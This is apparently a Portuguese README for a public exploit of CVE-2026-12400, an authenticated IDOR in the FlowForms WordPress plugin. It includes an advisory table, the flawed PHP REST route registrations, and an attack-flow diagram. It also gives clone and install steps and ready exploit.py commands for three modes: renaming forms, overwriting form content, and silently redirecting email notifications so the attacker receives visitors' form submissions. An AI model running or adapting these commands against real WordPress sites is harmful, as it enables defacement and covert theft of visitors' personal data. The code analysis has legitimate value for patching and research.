
# Exploração IDOR autenticada do WordPress para CVE-2026-12400; enumera IDs de formulários REST do FlowForms e modifica o conteúdo dos formulários ou sequestra notificações por e-mail.
Referência Direta a Objeto Insegura Autenticada (Contribuidor+) para Modificação Arbitrária de Formulários no FlowForms ≤ 1.1.1
| Propriedade | Valor |
|---|---|
| ID CVE | CVE-2026-12400 |
| Pontuação CVSS | 4.3 — Médio |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Contorno de Autorização Através de Chave Controlada pelo Usuário) |
| Produto | FlowForms — Plugin WordPress de Construtor de Formulários Conversacionais |
| Afetado | Todas as versões até e incluindo 1.1.1 |
| Corrigido em | Corrigido na versão 1.1.2 |
| Pesquisador | Phantom Hat |
Estudo de caso completo em caixa branca com análise de código-fonte, rastreamento de fluxo de entrada e comparação de patches:
O FlowForms expõe dois endpoints da API REST sob o namespace flowforms/v1 que são vulneráveis:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Ambos aceitam um {id} controlado pelo usuário no caminho da URL e modificam os dados do formulário alvo — nome, conteúdo, layout, URL de redirecionamento e destinatários de notificação por e-mail.
Ambos os registros de rota vulneráveis compartilham o mesmo permission_callback falho:
// Atualizar conteúdo/nome do formulário
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Atualizar configurações do formulário (notificações por e-mail, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts é uma capacidade detida por Contribuidores. O parâmetro {id} nunca é verificado contra a propriedade do usuário solicitante — qualquer usuário autenticado pode mirar em qualquer ID de formulário no site.
Atacante (Contribuidor) API REST FlowForms
│ │
│── POST /wp-login.php ────────────>│ (1) Autenticar como Contribuidor
│<─ cookie wordpress_logged_in ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Coletar nonce REST
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerar formulários publicados
│<─ HTTP 200 ───────────────────────│ (qualquer formulário acessível é um alvo)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Sobrescrever nome/conteúdo do formulário
│ com payload do atacante ───>│ ← sem verificação de proprietário
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Sequestrar notificações por e-mail
│ /settings ─────────────────>│ ← atacante recebe todas
│<─ { "success": true } ────────────│ as futuras submissões de formulários
│ │
│ Todos os 3 vetores confirmados │ (5) Nome ✔ Conteúdo ✔ E-mail ✔
| Modo | Endpoint | Impacto |
|---|---|---|
nome | /forms/{id} | Renomear qualquer formulário — desfiguração, engenharia social |
conteúdo | /forms/{id} | Sobrescrever layout, telas de boas-vindas/agradecimento, URL de redirecionamento |
e-mail | /forms/{id}/settings | Sequestrar e-mail de notificação — receber silenciosamente todas as submissões de formulários |
O modo e-mail é o mais crítico. Após o sequestro, cada submissão ao formulário de contato da vítima — incluindo PII dos visitantes, mensagens e detalhes de contato — é encaminhada silenciosamente para o endereço controlado pelo atacante. O administrador do site não vê nenhuma indicação da alteração.
Contribuidor no site alvogit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Renomear qualquer formulário para conteúdo controlado pelo atacante:
python3 exploit.py \
-u http://TARGET \
--user contribuidor \
--password senha123 \
-i 1 -n 100 \
--exploit name
Sobrescrever layout, telas, URL de redirecionamento e imagens de fundo:
python3 exploit.py \
-u http://TARGET \
--user contribuidor \
--password senha123 \
-i 1 -n 100 \
--exploit content
Redirecionar todas as notificações futuras de submissão de formulários para um endereço controlado pelo atacante:
python3 exploit.py \
-u http://TARGET \
--user contribuidor \
--password senha123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contribuidor \
--password senha123 \
-i 1 -n 100 \
--exploit email
| Flag | Curta | Descrição | Obrigatório |
|---|---|---|---|
--url | -u | URL do WordPress alvo | ✅ |
--user | Nome de usuário do WordPress (Contribuidor+) | ✅ | |
--password | Senha do WordPress | ✅ | |
--id-start | -i | ID inicial de formulário para enumeração | ✅ |
--num-forms | -n | Número de IDs de formulário a enumerar | ✅ |
--exploit | Modo de ataque: name / content / email | ✅ | |
--proxy | -p | URL do proxy (ex.: http://127.0.0.1:8080) | ❌ |